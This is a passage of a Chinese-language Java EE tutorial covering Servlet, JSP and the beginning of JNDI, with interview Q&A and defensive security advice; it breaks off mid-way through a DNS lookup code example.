Java EE 总览
Java EE(Java Platform, Enterprise Edition)是 Java 面向企业级应用的一套规范集合。它本身不是产品,而是一批接口标准(JSR)——真正干活的是各家厂商的实现:Tomcat、Jetty、WildFly、WebLogic、WebSphere……理解了「规范 + 容器 + 实现」这三层,Java EE 的每个技术点都能落到同一个框架里去理解。
从 J2EE 到 Jakarta EE
名字变过三次,包名也换过,这是老项目升级时最容易踩的坑:
| 时间 | 名称 | 说明 |
|---|---|---|
| 1999 | J2EE 1.2 | Java 2 Platform, Enterprise Edition |
| 2006 | Java EE 5 | 去掉「2」,大量引入注解,EJB 3.0 大幅简化 |
| 2017 | — | Oracle 把 Java EE 捐给 Eclipse 基金会 |
| 2018 | Jakarta EE 8 | 与 Java EE 8 内容一致,仅换名 |
| 2019 | Jakarta EE 9 | 包名 javax.* 迁移到 jakarta.* |
包名迁移是硬切换,不是别名:javax.servlet 与 jakarta.servlet 是两个完全不同的类型,不能互相赋值。对应关系是 Tomcat 10+、Spring 6+、Spring Boot 3+ 用 jakarta.*;Tomcat 9 及以下、Spring 5 用 javax.*。升级时先升容器,再升框架,最后改自己的 import。
Java SE / Java EE / Java ME
三个版本面向不同规模的运行环境,但 Java EE 建立在 Java SE 之上——它不重复定义语言和基础类库,只在其上叠加企业级能力。
| 版本 | 定位 | 核心内容 |
|---|---|---|
| Java SE | 标准版,桌面与通用应用 | 语言、集合、IO、并发、JVM |
| Java EE | 企业版,服务端应用 | Servlet、JSP、EJB、JMS、JTA…… |
| Java ME | 微型版,嵌入式设备 | 已被 Android / IoT 平台取代 |
Java EE 需要 JDK 和 Java SE 的完整支持,反过来则不成立。
核心思想:容器
Java EE 最关键的设计不是某个 API,而是容器(Container)。
开发者只写业务代码,容器负责给它「套上」各种横切能力:
- 生命周期管理:对象的创建、初始化、销毁由容器驱动,开发者不写
new。 - 事务管理:声明式事务——打个注解就自动开启/提交/回滚。
- 安全管理:认证与授权由容器统一拦截。
- 并发与线程:线程池、并发控制由容器托管。
- 资源池化:数据库连接、JMS 连接交给容器统一管理。
不同的容器托管不同类型的组件:
| 容器 | 托管组件 | 代表实现 |
|---|---|---|
| Web 容器(Servlet 容器) | Servlet、Filter、Listener | Tomcat、Jetty |
| EJB 容器 | Session Bean、MDB | WildFly、WebLogic |
| 完整应用服务器 | 上述全部 | WebLogic、WebSphere |
Tomcat 只是 Web 容器,不带 EJB 支持;WebLogic 这类「应用服务器」才是完整实现 Java EE 全规范。这也是为什么早期 Java EE 项目常常和昂贵的商业中间件绑定在一起。
十三项核心技术
Java EE 号称有十三种核心技术。它们分别是:JDBC、JNDI、EJB、RMI、Servlet、JSP、XML、JMS、Java IDL、JTS、JTA、JavaMail 和 JAF。按职责分层看会清晰很多:
| 层次 | 技术 | 作用 |
|---|---|---|
| Web 表现层 | Servlet | 服务端请求处理的标准入口 |
| Web 表现层 | JSP | 以模板方式生成 HTML(本质是 Servlet) |
| Web 表现层 | JavaMail、JAF | 邮件发送与数据类型识别 |
| 组件业务层 | EJB | 分布式业务组件,带事务与安全 |
| 组件业务层 | RMI、Java IDL | 远程调用(Java 原生 / CORBA 跨语言) |
| 组件业务层 | JNDI | 统一命名与目录访问 |
| 数据访问层 | JDBC | 数据库访问统一接口 |
| 服务与事务 | JTA、JTS | 分布式事务的 API 与实现规范 |
| 集成与消息 | JMS | 面向消息的中间件访问规范 |
| 数据描述 | XML | 配置与数据交换格式 |
其中 Servlet、JSP、JDBC 是使用频率最高的三件套,EJB、JMS、JTA 代表 Java EE 最强调的「企业级」能力,JNDI、RMI、JMX 则是支撑这些能力的底层设施。
规范与实现的关系
这是理解 Java EE 最容易被问的一点。
以 Servlet 为例:javax.servlet.Servlet 只是接口,Servlet 规范 规定了这套接口的语义(比如生命周期方法的调用时机、Filter 的执行顺序)。Tomcat 提供实现,并保证:
- 编译期:你的代码只依赖接口(
servlet-api.jar,通常由容器提供,scope=provided)。 - 运行期:容器按规范调用你的
init/service/destroy。
所以换容器不用改代码——这正是规范存在的意义。
由此可以推出一个实用结论:项目里不该把 servlet-api 打进 war 包(应由容器提供),否则容器版本升级时容易出现类冲突(比如老包带 javax.servlet、新 Tomcat 只认 jakarta.servlet)。
为什么现在很少直接写 Java EE
Spring 生态几乎取代了 Java EE 规范在业务代码中的位置,但原因是「写法」而非「能力」:
- EJB 太重:EJB 2.x 要求组件继承特定基类、实现多个接口,还要写部署描述符,单元测试几乎无法进行。Spring 用 POJO + 注解 + AOP 达到了同样的声明式事务和依赖注入效果。
- JSP 被前后端分离取代:视图渲染转移到浏览器端,服务端只提供 JSON。
- 规范演进缓慢:JSR 流程漫长,而 Spring 一年一个新版本。
但规范的思想没有消失,只是换了载体:
| Java EE 规范 | 今天对应什么 |
|---|---|
| Servlet 容器 | 仍是 Spring MVC / Spring Boot 的运行基础 |
| JTA 分布式事务 | Seata、Spring 的 @Transactional |
| JMS | RocketMQ、Kafka 等消息中间件 |
| JNDI | 配置中心、spring.datasource 绑定 |
| EJB 事务与安全 | Spring AOP + Spring Security |
| JAX-RS / JAX-WS | Spring Web、gRPC、OpenFeign |
面试重点
- Java EE 是什么:规范集合,不是产品;「容器 + 组件」是核心思想。
- J2EE/Jakarta EE 与
javax/jakarta包名:升级路径上的高频考点。 - Servlet 生命周期与线程安全:单实例多线程是绕不开的问题。
- JSP 本质:编译期翻译成 Servlet,所以 JSP 能做的事 Servlet 都能做,反之亦然。
- 重定向与转发的区别:发生在客户端还是服务端,是两道完全不同的请求。
- EJB 与 Spring 的关系:EJB 太重,Spring 用 POJO + AOP 实现了等价能力。
- JNDI 注入:不只是面试题,是真实存在的高危漏洞类型。
本系列文章
以下七篇文章按 Servlet → JSP → JNDI → JMX → RMI → JMS → EJB 的顺序全部收录在本页,直接向下滚动即可阅读,无需跳转。
Servlet
Servlet 是 Java EE 中处理 HTTP 请求的标准入口。理解它的关键是一句话:Servlet 是规范里的一个接口,真正调用它的是容器。把这句话拆开,生命周期、线程安全、会话跟踪就都能顺理成章地讲通了。
Servlet 是什么
Servlet 是运行在 Web 容器(Servlet 容器)中的 Java 组件,用于接收 HTTP 请求并生成响应。它不依赖具体的通信协议实现,也不负责网络监听——那些是容器的事。
三者的分工:
- 规范:定义
Servlet、Filter、Listener等接口与调用语义。 - 容器(Tomcat、Jetty):监听端口、解析 HTTP、管理线程池、按规范调用 Servlet。
- 开发者:只实现业务逻辑,不关心 socket。
public interface Servlet {
void init(ServletConfig config) throws ServletException;
void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;
void destroy();
ServletConfig getServletConfig();
String getServletInfo();
}日常开发不直接实现 Servlet,而是继承 HttpServlet——它已经按 HTTP 方法把 service() 分发到 doGet()、doPost() 等方法。
生命周期
容器决定 Servlet 何时被创建、初始化、服务和销毁,共四个阶段:
| 阶段 | 时机 | 调用次数 |
|---|---|---|
| 加载与实例化 | 首次请求(或容器启动,取决于 load-on-startup) | 1 |
初始化 init() | 实例化之后,服务之前 | 1 |
服务 service() | 每次请求 | N |
销毁 destroy() | 容器关闭或应用卸载 | 1 |
@WebServlet(urlPatterns = "/hello", loadOnStartup = 1)
public class HelloServlet extends HttpServlet {
@Override
public void init() {
// 只执行一次:适合加载配置、初始化连接池
System.out.println("init once");
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("text/plain;charset=UTF-8");
resp.getWriter().write("hello " + req.getParameter("name"));
}
@Override
public void destroy() {
// 只执行一次:释放资源
System.out.println("destroy once");
}
}init() 只会被调用一次,且早于任何 service();容器保证 init() 完成前不会把请求交给该 Servlet。因此 init() 里做的一次性初始化天然是线程安全的,而 service() 里对成员变量的写操作不是。
loadOnStartup 决定初始化时机:值为非负整数表示容器启动时就加载(值越小优先级越高),不配置则首次访问才加载——这会让第一个请求承担初始化开销。
线程安全
Servlet 的线程模型是面试必问,结论也很简单:容器只会创建该 Servlet 的一个实例,所有请求由线程池中的不同线程并发调用同一个实例的 service()。
由此推出:
- 局部变量安全:每个线程自己的栈,天然隔离。
- 成员变量危险:多个线程共享,没有同步就会出问题。
- 容器对象安全:
HttpServletRequest/HttpServletResponse是每个请求独立的,可放心读写。
public class CounterServlet extends HttpServlet {
// 危险:并发自增会丢更新
private int count = 0;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
count++; // 非原子操作,结果不可预期
resp.getWriter().write("count=" + count);
}
}正确的几种写法:
- 首选:不定义可变成员变量,状态放到方法参数或
request作用域。 - 需要共享:用
AtomicInteger、ConcurrentHashMap等并发容器,而非裸变量。 - 确实要加锁:缩小同步范围,避免用
synchronized修饰doGet——那会把并发请求串行化,等于放弃了 Servlet 的并发能力。 - 特例:实现
SingleThreadModel可以让容器串行化请求,但它已被标记为废弃——性能损失大且不能真正解决共享状态问题。
SingleThreadModel 是典型的历史包袱:容器可能为它维护实例池,一个请求一个实例,内存和创建开销都显著上升,也无法阻止对 ServletContext 等跨实例共享资源的并发访问。看到老代码里用它,正确做法是重构掉。
请求与响应
HttpServletRequest 的常用能力按来源分三类:
// 请求行与协议信息
req.getMethod(); // GET / POST
req.getRequestURI(); // /app/user/list(不含协议主机端口)
req.getQueryString(); // id=1&name=jy
req.getContextPath(); // /app(应用部署路径)
req.getServletPath(); // /user
// 请求头
req.getHeader("User-Agent");
req.getContentType();
// 参数与属性
req.getParameter("id"); // 查询串或表单体
req.getParameterValues("tag"); // 多值
req.setAttribute("user", user); // 仅在服务端内部传递,客户端不可见区分 getParameter() 与 getAttribute():前者读客户端传来的数据,后者在服务端组件之间传递对象。转发能带上属性,重定向不能——因为重定向是让浏览器发一个新请求。
HttpServletResponse 用来写回结果。有几个顺序陷阱要注意:
setContentType()/setCharacterEncoding()必须在getWriter()之前调用,否则会被忽略,中文就会乱码。- 响应一旦提交(缓冲区刷出),后续的头设置与
sendRedirect()都会抛IllegalStateException。
转发与重定向
这是高频面试题,差别可以归结为「服务端跳转」还是「客户端跳转」:
| 维度 | 转发 forward | 重定向 redirect |
|---|---|---|
| 发起方 | 服务端内部 | 服务端告诉浏览器 |
| 请求次数 | 1 次 | 2 次 |
| 地址栏 | 不变 | 变为新地址 |
request 属性 | 保留 | 丢失 |
| 能否跨域 | 不能(仅本应用) | 可以 |
| 状态码 | 无(内部机制) | 302 / 301 |
// 转发:同一个请求,路径不变
req.getRequestDispatcher("/WEB-INF/result.jsp").forward(req, resp);
// 重定向:浏览器发起新请求,路径变化
resp.sendRedirect(req.getContextPath() + "/login");选择标准很简单:跳转后需要保留请求数据、且不改变用户看到的 URL(比如表单提交后展示结果页),用转发;需要换 URL、防止刷新重复提交(PRG 模式)、或者跳到其他应用,用重定向。
重定向要带 contextPath,否则会跳到域名根路径而不是当前应用下。这是部署到非根路径(如 /app)时最常见的 404 来源。
Filter 与 Listener
除了 Servlet 本身,容器还托管另外两类组件。
Filter(过滤器):在请求到达 Servlet 之前、响应返回客户端之前插入处理逻辑,多个 Filter 组成链式调用。
@WebFilter(urlPatterns = "/*")
public class AuthFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getSession().getAttribute("user") == null) {
((HttpServletResponse) response).sendRedirect(req.getContextPath() + "/login");
return; // 不放行,请求到此为止
}
chain.doFilter(request, response); // 放行到下一个 Filter / Servlet
}
}典型用途:字符编码统一处理、权限校验、日志、跨域头、请求体包装。Filter 对所有匹配的请求生效,比在每个 Servlet 里重复判断合理得多。
Listener(监听器):监听容器或会话的生命周期事件,常用于初始化和资源清理。
public class StartupListener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
// 应用启动:加载全局配置
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
// 应用关闭:释放线程池、连接池
}
}Filter 与 Spring 的 Interceptor 容易混淆:Filter 属于 Servlet 规范,由容器调用,早于 DispatcherServlet;Interceptor 属于 Spring MVC,由 DispatcherServlet 调用,在 Handler 之前。所以 Filter 拿不到 Spring 的 HandlerMethod,也无法直接使用注入的 Bean(除非用 DelegatingFilterProxy)。
会话跟踪
HTTP 是无状态的协议,服务端要「记住」用户,必须在多次请求之间关联同一个客户端。可用的手段有四类:
| 方式 | 存储位置 | 生命周期 | 说明 |
|---|---|---|---|
| Cookie | 客户端 | 可设 maxAge | 明文可见,容量约 4KB |
| Session | 服务端 | 默认 30 分钟不活动 | 客户端只保存 JSESSIONID |
| URL 重写 | URL 上 | 同 Session | jsessionid 追加在地址后,兜底方案 |
| 隐藏表单域 | 页面 | 单次请求 | 仅适合单步流程 |
Cookie 是客户端存储,服务端通过响应头下发:
Cookie cookie = new Cookie("theme", "dark");
cookie.setMaxAge(7 * 24 * 3600); // 秒;0 表示删除,负数表示仅当前会话
cookie.setHttpOnly(true); // 禁止 JS 读取,防 XSS 窃取
cookie.setSecure(true); // 仅 HTTPS 传输
cookie.setPath("/");
resp.addCookie(cookie);Session 是服务端存储,客户端只持有一个会话 ID:
HttpSession session = req.getSession(); // 不存在则创建
session.setAttribute("user", user); // 存入
Object user = session.getAttribute("user"); // 读取
session.invalidate(); // 注销时销毁容器默认的会话跟踪方式是 Cookie(JSESSIONID)。如果禁用 Cookie,就只能退化成 URL 重写,会话 ID 会出现在地址栏、浏览器历史和日志里,泄露风险显著上升。所以生产环境应确保 Cookie 可用,并给会话 Cookie 加上 HttpOnly 与 Secure。
Session 失效的三种情形:超过 session-timeout 不活动、显式调用 invalidate()、应用被卸载。
分布式环境下 Session 不共享是常见故障:用户在第一台机器登录,第二次请求被负载均衡打到第二台机器就「掉登录」。解决方案按代价从低到高是:会话粘滞(sticky session,简单但不均衡)、Session 复制(机器间同步,适合小集群)、集中式存储(Redis 保存 Session,最常用)、无状态 Token(JWT,服务端不存会话)。
一个完整的部署描述
Servlet 3.0 起可以用注解声明,不再强制写 web.xml。但当需要更细的控制(Filter 顺序、多环境配置)时,web.xml 仍然有用:
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<session-config>
<session-timeout>30</session-timeout>
<cookie-config><http-only>true</http-only></cookie-config>
</session-config>
</web-app>注解与 web.xml 同时存在时,配置会合并而不是覆盖:web.xml 中同名 servlet-name 的 init-param 会覆盖注解,但注解声明的 url-pattern 也不会被清掉——所以同一路径可能映射到两处。排查「请求进了意料之外的 Servlet」时,先确认两处配置是否冲突。
单实例与多线程也带来了一个重要约束:ServletRequest 及其流不能被另起线程异步读取(Servlet 3.1 的异步 Servlet 除外),标准 getInputStream() 与 getReader() 也互斥,只能选其一。
与 Spring MVC 的关系
Spring MVC 并非取代 Servlet,而是在 Servlet 之上做了一层分发:
浏览器 → Tomcat(Connector) → FilterChain → DispatcherServlet(一个 Servlet)
↓ 按 HandlerMapping 找 Controller
Controller → Service → DAODispatcherServlet 本身就是一个注册在 / 上的 Servlet,由它统一接住所有请求,再按注解路由分发给 @Controller。这也解释了两个常见现象:
- Spring MVC 项目里
doGet()这类方法不再需要写——请求处理被注解方法取代了。 - 内置 Tomcat 的 Spring Boot 应用,本质上仍然是「Servlet 容器 + 若干 Servlet」。
面试问答
Servlet 是线程安全的吗?
不是。容器只创建一个实例,多个请求线程并发调用同一个实例的 service()。方法内的局部变量与每个请求独立的 HttpServletRequest 是安全的,但 Servlet 的成员变量是所有线程共享的。所以不要把可变的用户数据放在成员变量上,需要用并发容器或同步。
为什么 Servlet 不设计成多实例?
单实例既省内存又避免反复初始化,配合线程池可以达到最高的吞吐。多实例(如 SingleThreadModel 那样的思路)会把并发压力转化成实例创建与内存开销,并不可取。Servlet 的并发来自「容器线程池 + 无共享状态的单实例」这个组合。
转发和重定向的区别,各用在什么场景?
转发是服务端内部跳转,一次请求、地址栏不变、request 属性保留;重定向是让浏览器重新发请求,两次请求、地址栏变化、属性丢失。转发用于「同一请求内继续处理」(如表单校验失败回显),重定向用于「换 URL 防重复提交(PRG)」与跨应用跳转。
Cookie 和 Session 的关系是什么?
Session 存在服务端,客户端只保存会话 ID(默认放在名为 JSESSIONID 的 Cookie 里)。Cookie 是 Session 的默认载体,但不是唯一载体。Cookie 是客户端可见可改的,Session 数据在服务端、相对安全,但 Session 不天然支持分布式,需要额外方案(Redis 集中存储等)解决共享问题。
Filter 和 Interceptor 有什么区别?
Filter 属于 Servlet 规范,由容器在进入 Servlet 前调用,作用于所有请求(包括静态资源),能拿到 ServletRequest;Interceptor 属于 Spring MVC,由 DispatcherServlet 调用,能访问 HandlerMethod 与 Spring 容器中的 Bean,且能在 Handler 执行前后、视图渲染后介入。需要 Spring 上下文时用 Interceptor,需要更早、更全局地拦截时用 Filter。
如何防止表单重复提交?
服务端生成一次性 token 存入 Session 并写入表单隐藏域,提交时校验并立即失效该 token;同时提交成功后用重定向(PRG 模式)避免用户刷新重放 POST;对关键接口再叠加幂等设计(唯一业务键 + 数据库唯一索引)。前两条解决「用户误操作」,最后一条才能防住真正的重复请求。
JSP
JSP(JavaServer Pages)看起来是一门「在 HTML 里写 Java」的模板语言,实际上它只是 Servlet 的一层语法糖:容器会把 JSP 文件翻译成一个 Servlet 源文件,再编译成 class 执行。抓住这条主线,九大内置对象、四大作用域这些看似零散的知识点就都有了解释。
本质:JSP 就是 Servlet
用户访问 hello.jsp 时,容器内部的完整过程是:
- 翻译:把
.jsp转成hello_jsp.java(一个继承HttpJspBase的类,而HttpJspBase又实现了Servlet)。 - 编译:把
.java编译成.class。 - 加载与初始化:与普通 Servlet 一样,
jspInit()只执行一次。 - 服务:每次请求执行
_jspService()。 - 销毁:应用卸载时执行
jspDestroy()。
所以 JSP 与 Servlet 的能力完全相同,区别只在「谁更适合写什么」:
| 维度 | Servlet | JSP |
|---|---|---|
| 适合输出 | 少量、二进制、纯 JSON | 大量 HTML 模板 |
| 写法 | Java 里拼 HTML | HTML 里嵌 Java |
| 生命周期方法 | init / service / destroy | jspInit / _jspService / jspDestroy |
| 本质 | — | 编译后就是 Servlet |
翻译后的源文件可以在容器的 work 目录里找到,例如 Tomcat 的 work/Catalina/localhost/应用名/org/apache/jsp/。出问题(如编译报错、行号对不上)时,直接看这个生成的文件是最快的排查方式。
为什么 JSP 会被淘汰
- 职责混乱:JSP 把视图和逻辑混在一起,稍不注意就写出「页面里连数据库」的代码。
- 前后端分离:视图渲染转移到浏览器,服务端只返回 JSON,模板引擎的需求消失了。
- 工程效率:JSP 的调试、热部署、国际化体验都不如现代前端工具链。
- 规范停滞:JSP 本身已不再演进。
JSP 是服务端能力,一旦被用户上传/写入,等同直接拿到服务器权限。所以生产环境有两条硬约束:JSP 文件放在 WEB-INF 下(外部不可直接访问),并且**绝不允许用户上传的文件落在能被解析为 JSP 的目录里**——这是许多上传漏洞的成因。
九大内置对象
JSP 能直接用 request、session 这些变量,是因为翻译时容器已经在 _jspService() 里声明好了。九个对象中前四个是作用域对象(作用范围由小到大),后五个是功能对象:
pageContext(PageContext):page 作用域;唯一能访问其他作用域的入口request(HttpServletRequest):request 作用域,一次请求(转发仍在)session(HttpSession):session 作用域,一次会话application(ServletContext):application 作用域,整个应用out(JspWriter):输出内容到客户端response(HttpServletResponse):设置响应头、状态码config(ServletConfig):读取初始化参数exception(Throwable):仅在错误页可用(页面标记isErrorPage)page(Object):当前页面实例,等价于this
<%
pageContext.setAttribute("a", "page 级");
request.setAttribute("b", "request 级");
session.setAttribute("c", "session 级");
application.setAttribute("d", "application 级");
// 查找顺序:page → request → session → application
out.println(pageContext.findAttribute("b"));
%>pageContext 是唯一能访问其他三个作用域的入口(getRequest()、getSession()、getServletContext()),也是 JSP 里获取「当前页面上下文」的统一抽象。EL 表达式的属性查找顺序就是上面这条链。
四大作用域的选择
作用域用错会直接导致两类问题:数据串号(作用域太大)或数据拿不到(作用域太小)。
- page:页面内部临时变量,出了当前页面就没了。
- request:一次请求链路内的数据传递,转发时最常用。请求结束即销毁。
- session:与某个用户绑定的状态,如登录信息、购物车。注意敏感数据不要放这里,且要控制超时时间。
- application:全局共享,如配置、缓存、访问计数器。多线程并发访问,必须考虑线程安全。
指令、脚本与动作
三种指令(<%@ %>,作用于翻译阶段):
<%@ page contentType="text/html;charset=UTF-8" language="java" errorPage="/error.jsp" %>
<%@ page import="java.util.List, com.example.User" %>
<%@ include file="header.jsp" %> <%-- 静态包含:翻译期合并到一个文件 --%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>区分两种包含是高频考点:
静态包含 <%@ include %> | 动态包含 <jsp:include /> | |
|---|---|---|
| 发生时机 | 翻译期 | 运行期 |
| 生成文件数 | 1(合并后) | 多个(各自独立编译) |
| 变量共享 | 共享(同一作用域) | 不共享(通过 request 传参) |
| 效率 | 高(只编译一次) | 略低(每次请求调用) |
三种脚本元素(<% %> / <%= %> / <%! %>):
<%-- 注释:翻译期丢弃,不会出现在响应里 --%>
<%! int count = 0; %> <%-- 声明:编译成类的成员变量,全局共享,危险 --%>
<% int local = 1; %> <%-- 脚本片段:编译进 _jspService --%>
<%= local + count %> <%-- 表达式:等价于 out.print(...) --%><%! %> 声明的变量是 Servlet 的成员变量,所有请求线程共享,与 Servlet 的线程安全问题同源。JSP 里出现 <%! %> 基本就是代码异味,应该改成局部变量或干脆把逻辑移到 Servlet / Controller。
动作标签(<jsp:xxx>,作用于运行期):
<jsp:include page="footer.jsp" /> <%-- 动态包含 --%>
<jsp:forward page="/result.jsp" /> <%-- 转发 --%>
<jsp:useBean id="user" class="com.example.User" scope="request" />
<jsp:setProperty name="user" property="name" value="jy" />
<jsp:getProperty name="user" property="name" />EL 表达式
EL(Expression Language)用来替代 <%= %>,让页面里不再出现 Java 代码片段:
${user.name} <%-- 属性访问 --%>
${user["name"]} <%-- 等价写法,key 含特殊字符时用 --%>
${list[0]} <%-- 集合索引 --%>
${empty cart} <%-- null 或空集合都为 true --%>
${not empty cart} ${cart != null}
${a > b ? "大" : "小"}
${pageContext.request.contextPath} <%-- 取当前应用路径 --%>EL 的两条关键规则:
- 属性查找顺序:page → request → session → application,命中即返回。
null不报错:${user.address.city}中若address为 null,结果就是空字符串,而不是 NPE——这是 EL 比脚本片段更安全的地方。
<%-- 取不到时给默认值 --%>
${empty user.nickname ? "游客" : user.nickname}EL 访问属性走的是 getXxx() 而不是字段,所以 ${user.name} 实际调用 getName()。字段名与 getter 不一致(如 getName() 返回 name 但字段叫 username)时,要以 getter 为准——这是「明明有值却取不到」的常见原因。
JSTL 标签库
JSTL 提供流程控制与格式化标签,让 JSP 彻底摆脱脚本片段:
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
<c:if test="${empty sessionScope.user}">
<a href="${pageContext.request.contextPath}/login">请登录</a>
</c:if>
<c:choose>
<c:when test="${user.level == 1}">管理员</c:when>
<c:when test="${user.level == 2}">编辑</c:when>
<c:otherwise>普通用户</c:otherwise>
</c:choose>
<ul>
<c:forEach items="${users}" var="u" varStatus="st">
<li>${st.index} - ${u.name}</li>
</c:forEach>
</ul>
<fmt:formatDate value="${user.createTime}" pattern="yyyy-MM-dd HH:mm:ss" />JSTL 的五个标签库:core(流程控制)、fmt(格式化与国际化)、fn(字符串函数)、sql(数据库操作,生产环境禁用)、xml(XML 处理,很少用)。
<c:out> 与 ${} 的转义行为不同:<c:out value="${input}" /> 默认转义 HTML,而 ${input} 直接输出。用户可控内容必须走 <c:out> 或 <c:out> 的 escapeXml="true",否则就是 XSS 漏洞。
三层架构中的位置
JSP 时代最主流的组织方式是 MVC + 三层架构:
浏览器 → Servlet(控制器) → Service(业务) → DAO(数据) → DB
↓ 转发并携带 request 属性
JSP(视图):只负责展示,不写业务逻辑对应的项目目录:
src/main/java/com/example/ # 控制器、Service、DAO
src/main/webapp/
├── WEB-INF/
│ ├── web.xml
│ └── views/ # JSP 放在 WEB-INF 下,禁止外部直接访问
│ └── user/list.jsp
├── static/ # CSS / JS / 图片
└── index.jsp// 控制器:查数据 → 存 request → 转发到视图
List<User> users = userService.list();
req.setAttribute("users", users);
req.getRequestDispatcher("/WEB-INF/views/user/list.jsp").forward(req, resp);JSP 放在 WEB-INF 下有两个好处:外部无法通过 URL 直接访问(必须经控制器转发),且 URL 里不会暴露 .jsp 后缀。这是「只有经过控制器才能看到页面」的简单实现,也让权限校验无法被绕过。
现代替代方案
| 方案 | 说明 | 现状 |
|---|---|---|
| Thymeleaf | 纯 HTML 模板,可静态预览,Spring 官方推荐 | 服务端渲染的主流选择 |
| Freemarker | 老牌模板引擎,性能好 | 仍有存量项目 |
| JSP | 编译器与 IDE 支持仍最成熟 | 存量维护 |
| 前后端分离 | 服务端只出 JSON,Vue/React 渲染 | 新项目主流 |
迁移时有一条实用原则:新项目不要再引入 JSP,存量项目只在必须改动时局部替换,不值得为了「技术新」做全量重写。
面试问答
JSP 和 Servlet 的关系是什么?
JSP 编译后就是 Servlet:容器先把 .jsp 翻译成继承 HttpJspBase 的 Java 类,再编译加载,生命周期与普通 Servlet 一致(jspInit → _jspService → jspDestroy)。两者能力等价,区别只在适用场景——JSP 适合输出大段 HTML,Servlet 适合处理逻辑与输出少量数据。
JSP 有哪九大内置对象,哪些是作用域对象?
作用域对象四个:pageContext(page)、request(request)、session(session)、application(application);功能对象五个:out、response、config、exception、page。它们都是容器在 _jspService() 里预先声明的局部变量,所以能直接使用而无需声明。
静态包含和动态包含的区别?
<%@ include %> 在翻译期把文件内容合并进同一个生成文件,最终只有一个 Servlet,变量共享;<jsp:include /> 在运行期调用另一个页面的输出并插入,各自独立编译,通过 request 传参。前者更快,后者更灵活(可以包含动态页面名)。
<%@ page %>、<%! %>、<% %>、<%= %> 分别是什么?
<%@ page %> 是指令,在翻译期影响生成文件的属性(如 import、errorPage);<%! %> 是声明语句,编译成类的成员变量或方法;<% %> 是脚本片段,编译进 _jspService() 方法体;<%= %> 是表达式,等价于 out.print()。后两者在方法内,<%! %> 在方法外,这是它们线程安全表现不同的根源。
EL 表达式取不到值怎么办?
按顺序排查:① 属性名是否与 getter 对应(EL 走 getter 而非字段);② 对象是否真的存在目标作用域里(page → request → session → application 依次查找,可以用 ${sessionScope.user} 显式限定作用域缩小范围);③ 是否缺少 isELIgnored="false" 或 JSP 版本过低;④ 集合/Map 的取值方式是否用对(${map["key"]} 而非 ${map.key})。
为什么线上 JSP 要放在 WEB-INF 下?
放在 WEB-INF 之外时,/views/list.jsp 这类路径可以被浏览器直接请求,绕过控制器的权限校验和数据准备,既可能越权看到内容,也可能因缺少必要数据而报错甚至泄露堆栈。放进 WEB-INF 后只能通过 RequestDispatcher 转发访问,访问入口收敛到控制器一处。
JNDI
JNDI(Java Naming and Directory Interface)解决的是一个很朴素的问题:代码不应该硬编码资源的物理位置。数据库在哪台机器、LDAP 服务器地址是什么、EJB 远程对象怎么找——这些都交给一个统一的名字去指代,由容器在运行时解析。它是 Java EE 里最底层的基础设施之一,也是近年真实爆发过的高危漏洞(JNDI 注入)的载体。
命名服务与目录服务
先区分两个概念,它们是 JNDI 名字里两半的来源:
- 命名服务(Naming):把名字映射到对象,只支持「按名字查对象」这一种操作,类似一个只读的 Map。例:DNS(域名 → IP)、文件系统(路径 → 文件)。
- 目录服务(Directory):是命名服务的增强,对象带属性,因此支持按属性检索。例:LDAP、Active Directory。
命名服务: name → object
目录服务: name + attributes → object (可按属性搜索)JNDI 同时支持两者:Context 接口负责命名操作,DirContext 在其上增加属性的读写与搜索。
| 接口 | 能力 | 典型实现 |
|---|---|---|
Context | 绑定、查找、解绑、子上下文 | RMI、DNS、文件系统 |
DirContext | 继承 Context,增加属性与搜索 | LDAP |
InitialContext | 查找的入口,按环境参数选择 SPI | 全部 |
架构:API + SPI
JNDI 的设计是典型的「接口与实现分离」,理解这一点才能解释它为什么既能查 DNS 又能查 LDAP:
- JNDI API:
javax.naming包,应用程序面向它编程(Context.lookup())。 - JNDI SPI(Service Provider Interface):服务提供者实现的适配层。各厂商提供 SPI 实现,JNDI 通过工厂类把它们接进来。
- JNDI Provider:具体实现,如
com.sun.jndi.ldap.LdapCtxFactory、com.sun.jndi.rmi.registry.RegistryContextFactory、com.sun.jndi.dns.DnsContextFactory。
应用代码 → JNDI API(Context) → 命名的 SPI 实现 → 具体服务(DNS/LDAP/RMI/...)好处是应用代码只依赖 Context 接口,换后端服务不需要改动。
「用哪个实现」由查找时提供的环境参数决定:URL 的 scheme(如 ldap://、rmi://、dns://)会匹配对应的 SPI 工厂。这正是 JNDI 注入能够成立的根本原因——名字本身可以携带协议,而协议决定会发起什么网络请求。
基本 API
// 1. 构建环境参数,可以指定工厂与提供者地址
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=com");
env.put(Context.SECURITY_CREDENTIALS, "password");
// 2. 获取初始上下文
Context ctx = new InitialContext(env);
// 3. 查找
Object obj = ctx.lookup("cn=jy,ou=users,dc=example,dc=com");
// 4. 用完关闭
ctx.close();四个核心操作:bind(绑定名字与对象)、lookup(按名字取对象)、rebind(覆盖绑定)、unbind(解绑)。名字支持层级结构,子上下文可以用 ctx.lookup("a/b/c") 或 ctx.createSubcontext("a") 逐级访问。
查找 DNS 与文件系统也是同一套 API:
// DNS:读一条 MX 记录
Hashtable<String, String> dnsEnv = new Hashtable<>();
